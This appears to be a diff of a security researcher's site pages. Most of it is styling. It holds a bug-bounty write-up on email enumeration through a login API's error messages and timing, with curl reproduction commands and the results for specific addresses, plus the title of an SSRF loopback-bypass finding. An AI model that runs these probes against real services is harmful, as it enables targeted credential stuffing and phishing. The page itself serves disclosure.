| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/email-enumeration-timing/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Email Enumeration Timing | Zion Boggan"> | |
| + | <meta property="og:description" content="`/v1/userauth` timing differential distinguishes registered vs unregistered emails."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/email-enumeration-timing/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Email Enumeration Timing | Zion Boggan"> | |
| + | <meta name="twitter:description" content="`/v1/userauth` timing differential distinguishes registered vs unregistered emails."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Email Enumeration Timing","description":"`/v1/userauth` timing differential distinguishes registered vs unregistered emails.","url":"https://zionboggan.com/security-research-notebook/email-enumeration-timing/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Info disclosure</div> | |
| + | <h1>Email Enumeration Timing</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h1>SUBMISSION 2</h1> | |
| + | <p>TITLE: User Email Enumeration via /v1/userauth Error Message and Timing Difference</p> | |
| + | <p>TARGET: api.aiven.io (https://api.aiven.io/login)</p> | |
| + | <p>VRT CATEGORY: Broken Authentication and Session Management > Username/Email Enumeration > Non-Brute Force</p> | |
| + | <p>URL: https://api.aiven.io/v1/userauth</p> | |
| + | <h2>DESCRIPTION:</h2> | |
| + | <h2>Summary</h2> | |
| + | <p>The login endpoint <code>POST /v1/userauth</code> returns different error messages and response times for registered vs unregistered email addresses, enabling unauthenticated user enumeration.</p> | |
| + | <ul> | |
| + | <li>Non-existent email: <code>"User does not exist"</code>, ~150ms response</li> | |
| + | <li>Existing email: <code>"user_password_compromised"</code>, ~2,500-5,200ms response</li> | |
| + | </ul> | |
| + | <p>The dual oracle (message + timing) makes enumeration highly reliable. Notably, the password reset endpoint (<code>/v1/user/password_reset_request</code>) is properly implemented and returns a uniform response regardless of email existence.</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <ol> | |
| + | <li>Send a request with a non-existent email:</li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">curl -s -w "\nTime: %{time_total}s" -X POST https://api.aiven.io/v1/userauth \ | |
| + | -H "Content-Type: application/json" \ | |
| + | -d '{"email":"definitelynotarealuserxyz123@nonexistentdomain99887.com","password":"test123"}' | |
| + | </code></pre> | |
| + | <p><strong>Response:</strong> HTTP 403, ~150-477ms</p> | |
| + | <pre><code class="language-json">{"errors":[{"message":"User does not exist","status":403}]} | |
| + | </code></pre> | |
| + | <ol start="2"> | |
| + | <li>Send a request with a known existing email:</li> | |
| + | </ol> | |
| + | <pre><code class="language-bash">curl -s -w "\nTime: %{time_total}s" -X POST https://api.aiven.io/v1/userauth \ | |
| + | -H "Content-Type: application/json" \ | |
| + | -d '{"email":"admin@aiven.io","password":"wrongpassword123!"}' | |
| + | </code></pre> | |
| + | <p><strong>Response:</strong> HTTP 403, ~5,225ms</p> | |
| + | <pre><code class="language-json">{"errors":[{"error_code":"user_password_compromised","message":"Your login is blocked because your password is no longer safe. Reset your password to log in.","status":403}]} | |
| + | </code></pre> | |
| + | <ol start="3"> | |
| + | <li>Additional tests confirming the pattern:</li> | |
| + | </ol> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Email</th> | |
| + | <th>Message</th> | |
| + | <th>Time</th> | |
| + | <th>Exists?</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>fake@nonexistent.com</td> | |
| + | <td>“User does not exist”</td> | |
| + | <td>~150ms</td> | |
| + | <td>No</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>admin@aiven.io</td> | |
| + | <td>“user_password_compromised”</td> | |
| + | <td>~5,225ms</td> | |
| + | <td>Yes</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>info@aiven.io</td> | |
| + | <td>“user_password_compromised”</td> | |
| + | <td>~2,688ms</td> | |
| + | <td>Yes</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>security@aiven.io</td> | |
| + | <td>“User does not exist”</td> | |
| + | <td>~150ms</td> | |
| + | <td>No</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Impact</h2> | |
| + | <p>An attacker can determine which email addresses are registered on Aiven. This enables targeted credential stuffing against confirmed accounts and targeted phishing campaigns impersonating Aiven (e.g., fake password reset emails). The 10-35x timing difference makes automated enumeration reliable even if error messages were normalized.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p>The API checks email existence before password validation and returns distinct error messages. The timing difference is likely caused by an additional breach database (HIBP) lookup that only occurs for existing accounts.</p> | |
| + | <h2>Suggested Fix</h2> | |
| + | <p>Return a generic <code>"Invalid credentials"</code> message for all authentication failures and normalize response timing.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/email-enumeration-timing.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,447 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan</title> | |
| + | <meta name="description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
